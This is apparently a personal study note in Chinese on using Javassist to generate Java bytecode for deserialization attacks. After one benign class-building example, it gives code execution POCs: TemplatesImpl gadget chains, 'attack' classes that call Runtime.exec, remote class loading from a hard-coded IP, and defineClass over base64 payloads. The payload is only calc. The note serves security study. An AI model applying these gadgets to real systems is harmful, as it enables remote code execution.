Javassist-字节码学习笔记

前言javassist使用javassist创建自定义的class文件通过加载本地恶意类字节码进行攻击远程加载class文件利用defineClass直接加载字节码TemplatesImpl加载字节码

前言

之前做Java反序列化的时候有用到Javassist，我个人觉得javassist和反射的功能差不多但javassist更加灵活和强大，今天就来学习一下。这里推荐看之前可以看一下类加载器还有javassist的中文文档

javassist

Javassit其实就是一个二方包，提供了运行时操作Java字节码的方法。大家都知道，Java代码编译完会生成.class文件，就是一堆字节码。JVM(准确说是JIT)会解释执行这些字节码(转换为机器码并执行)，由于字节码的解释执行是在运行时进行的，那我们能否手工编写字节码，再由JVM执行呢？答案是肯定的，而Javassist就提供了一些方便的方法，让我们通过这些方法生成字节码。

使用javassist创建自定义的class文件

import javassist.*;

public class CreatePerson {

    
    public static void createPseson() throws Exception {
        ClassPool pool = ClassPool.getDefault();

        // 1. 创建一个空类
        CtClass cc = pool.makeClass("com.rickiyang.learn.javassist.Person");

        // 2. 新增一个字段 private String name;
        // 字段名为name
        CtField param = new CtField(pool.get("java.lang.String"), "name", cc);
        // 访问级别是 private
        param.setModifiers(Modifier.PRIVATE);
        // 初始值是 "xiaoming"
        cc.addField(param, CtField.Initializer.constant("xiaoming"));

        // 3. 生成 getter、setter 方法
        cc.addMethod(CtNewMethod.setter("setName", param));
        cc.addMethod(CtNewMethod.getter("getName", param));

        // 4. 添加无参的构造函数
        CtConstructor cons = new CtConstructor(new CtClass[]{}, cc);
        cons.setBody("{name = "xiaohong";}");
        cc.addConstructor(cons);

        // 5. 添加有参的构造函数
        cons = new CtConstructor(new CtClass[]{pool.get("java.lang.String")}, cc);
        // $0=this / $1,$2,$3... 代表方法参数
        cons.setBody("{$0.name = $1;}");
        cc.addConstructor(cons);

        // 6. 创建一个名为printName方法，无参数，无返回值，输出name值
        CtMethod ctMethod = new CtMethod(CtClass.voidType, "printName", new CtClass[]{}, cc);
        ctMethod.setModifiers(Modifier.PUBLIC);
        ctMethod.setBody("{System.out.println(name);}");
        cc.addMethod(ctMethod);

        //这里会将这个创建的类对象编译为.class文件
        cc.writeFile("D:\IDEA旗舰版\PROJECT\maventest\maventest\maventest\src\main\java");
    }

    public static void main(String[] args) {
        try {
            createPseson();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

执行代码后会在指定的目录内生成 Person.class 文件：

下面是一个简单的命令执行POC

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import java.lang.reflect.Field;


public class Javassist_test {
    public static void main(String[] args) throws Exception{
        ClassPool pool = ClassPool.getDefault();  // 获取javassist维护的类池
        CtClass cc = pool.makeClass("Test");  // 创建一个空类Test
        String cmd = "java.lang.Runtime.getRuntime().exec("calc");";
        cc.makeClassInitializer().insertBefore(cmd);  //insertBefore创建 static 代码块，并插入代码
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));  //setSuperclass更改父类
        byte[] classBytes = cc.toBytecode();  //toBytecode()获取修改的字节码
        byte[][] targetByteCodes = new byte[][]{classBytes};
        TemplatesImpl templates = TemplatesImpl.class.newInstance();

        Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
        Field name = templates.getClass().getDeclaredField("_name");
        Field tfactory = templates.getClass().getDeclaredField("_tfactory");

        bytecodes.setAccessible(true);
        name.setAccessible(true);
        tfactory.setAccessible(true);

        bytecodes.set(templates,targetByteCodes);
        name.set(templates,"aaa");
        tfactory.set(templates,new TransformerFactoryImpl());

        templates.newTransformer();
    }

}

通过加载本地恶意类字节码进行攻击

这里利用了前面提到的TemplatesImpl攻击链

package com.rickiyang.learn.javassist;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class attack extends AbstractTranslet {
    //需要继承AbstractTranslet,因为在defineTransletClasses中会判断是否继承了这个类没有会报错
    public attack() {
        super();
        try {
            Runtime.getRuntime().exec("calc");
        }catch (Exception e){
            e.printStackTrace();
        }
    }
    //两种触发方式构造方法和静态代码块
    static {
        try {
            Runtime.getRuntime().exec("calc.exe");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }


    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import javax.xml.transform.TransformerConfigurationException;
import java.io.IOException;
import java.lang.reflect.Field;

public class javassistload {
    public static void main(String[] args) throws NotFoundException, IOException, CannotCompileException, InstantiationException, IllegalAccessException, NoSuchFieldException, TransformerConfigurationException {
        ClassPool classPool= ClassPool.getDefault();
        CtClass ctClass=classPool.getCtClass("com.rickiyang.learn.javassist.attack");
        byte[] classBytes=ctClass.toBytecode();

        byte[][] targetByteCodes = new byte[][]{classBytes};
        TemplatesImpl templates = TemplatesImpl.class.newInstance();

        Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
        Field name = templates.getClass().getDeclaredField("_name");
        Field tfactory = templates.getClass().getDeclaredField("_tfactory");

        bytecodes.setAccessible(true);
        name.setAccessible(true);
        tfactory.setAccessible(true);

        bytecodes.set(templates,targetByteCodes);
        name.set(templates,"aaa");
        tfactory.set(templates,new TransformerFactoryImpl());

        templates.newTransformer();

    }

}

远程加载class文件

import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;

public class javassisttest2 {
    public static  void main(String[] args) throws ClassNotFoundException, MalformedURLException, InstantiationException, IllegalAccessException {
        URL[] urls = {new URL("http://42.193.22.50:1234/")};
        URLClassLoader loader = new URLClassLoader(urls);
        Class clazz = loader.loadClass("attack");
        System.out.println(clazz);
        clazz.newInstance();

    }
}

下面是attack.java的代码，我们要把它编译后再放到我们的服务器上加载，上面的loadClass加载的是class文件

import java.io.IOException;
public class attack
{
    public attack() throws IOException{
        Runtime.getRuntime().exec("calc");
    }
}

利用defineClass直接加载字节码

import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.base64;

public class test
{

    public static  void main(String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
        Class clazz = Class.forName("java.lang.ClassLoader");
        Method defineClassMethod = clazz.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
        defineClassMethod.setAccessible(true);
        byte[] bytes = base64.getDecoder().decode("yv66vgAAADQAHAoABgAPCgAQABEIABIKABAAEwcAFAcAFQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAWAQAKU291cmNlRmlsZQEAC2F0dGFjay5qYXZhDAAHAAgHABcMABgAGQEABGNhbGMMABoAGwEABmF0dGFjawEAEGphdmEvbGFuZy9PYmplY3QBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABgAAAAAAAQABAAcACAACAAkAAAAuAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAEACgAAAA4AAwAAAAQABAAFAA0ABgALAAAABAABAAwAAQANAAAAAgAO");
        Class targetClass = (Class) defineClassMethod.invoke(ClassLoader.getSystemClassLoader(),"attack",bytes,0,bytes.length);
        targetClass.newInstance();
    }
}

TemplatesImpl加载字节码

在实际场景中defineClass方法的作用域是不开放的，所以攻击者很少能直接利用到它，但defineClass()在TemplatesImpl内部的静态类TransletClassLoader被重载了，所以我们可以通过TemplatesImpl攻击链利用它

TemplatesImpl攻击链我之前也分析过，调用链如下所示

fastjson->getOutputProperties()->newTransformer()->getTransletInstance()->defineTransletClasses()

defineTransletClasses()中会调用defineClass去加载 _bytecodes 中的 byte[]

这里我们的的调用链就不用fastjson触发了，我们可以把调用链写成下面这样

newTransformer()->getTransletInstance()->defineTransletClasses()->defineClass()

这里额外说一点

也就是说加载的字节码是有一定要求的：这个字节码对应的类必须是 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet 的子类。

其他属性的设置大家可以看看我之前分析的TemplatesImpl攻击链

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class attack2 extends AbstractTranslet {
    public attack2() throws Exception{
        Runtime.getRuntime().exec("calc");
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }

    public static void main(String[] args) throws Exception {
        attack2 aa=new attack2();
    }
}

POC可以这么写

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import java.lang.reflect.Field;
import java.util.base64;

public class javassisttest3 {
    public static void main(String[] args) throws Exception {
        byte[] bytes = base64.getDecoder().decode("yv66vgAAADQAJAoABwAWCgAXABgIABkKABcAGgcAGwoABQAWBwAcAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHAB0BAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYHAB4BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAApTb3VyY2VGaWxlAQAMYXR0YWNrMi5qYXZhDAAIAAkHAB8MACAAIQEABGNhbGMMACIAIwEAB2F0dGFjazIBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAcAAAAAAAQAAQAIAAkAAgAKAAAALgACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAsAAAAOAAMAAAAIAAQACQANAAoADAAAAAQAAQANAAEADgAPAAIACgAAABkAAAADAAAAAbEAAAABAAsAAAAGAAEAAAAPAAwAAAAEAAEAEAABAA4AEQACAAoAAAAZAAAABAAAAAGxAAAAAQALAAAABgABAAAAFAAMAAAABAABABAACQASABMAAgAKAAAAJQACAAIAAAAJuwAFWbcABkyxAAAAAQALAAAACgACAAAAFwAIABgADAAAAAQAAQANAAEAFAAAAAIAFQ==");
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates,"_bytecodes",new byte[][]{bytes});
        setFieldValue(templates,"_name","feng");
        setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
        templates.newTransformer();
    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,value);
    }

}

参考文章
https://www.cnblogs.com/scy251147/p/11100961.html
https://ego00.blog.csdn.net/article/details/119763746?spm=1001.2014.3001.5502
https://www.cnblogs.com/rickiyang/p/11336268.html

Javassist-字节码 学习笔记

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